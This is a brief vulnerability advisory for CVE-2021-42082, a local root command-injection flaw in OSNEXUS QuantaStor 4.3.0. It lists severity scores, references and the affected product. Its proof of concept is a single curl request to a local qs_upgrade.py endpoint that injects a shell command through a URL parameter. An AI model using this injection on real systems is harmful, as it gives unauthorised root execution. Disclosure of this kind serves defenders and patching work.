Vulnerability Details CVE-2021-42082
Local users are able to execute scripts under root privileges.
POC
On the local host run the following command:
curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
Exploit prediction scoring system (EPSS) score
EPSS Score 0.0
EPSS Ranking 12.6%
CVSS Severity
CVSS v3 Score 7.8
References
- https://csirt.divd.nl/CVE-2021-42082
- https://csirt.divd.nl/DIVD-2021-00020/
- https://www.osnexus.com/products/software-defined-storage
- https://www.wbsec.nl/osnexus
- https://csirt.divd.nl/CVE-2021-42082
- https://www.divd.nl/DIVD-2021-00020
- https://www.osnexus.com/products/software-defined-storage
- https://www.wbsec.nl/osnexus
Products affected by CVE-2021-42082
-
cpe:2.3:a:osnexus:quantastor:4.3.0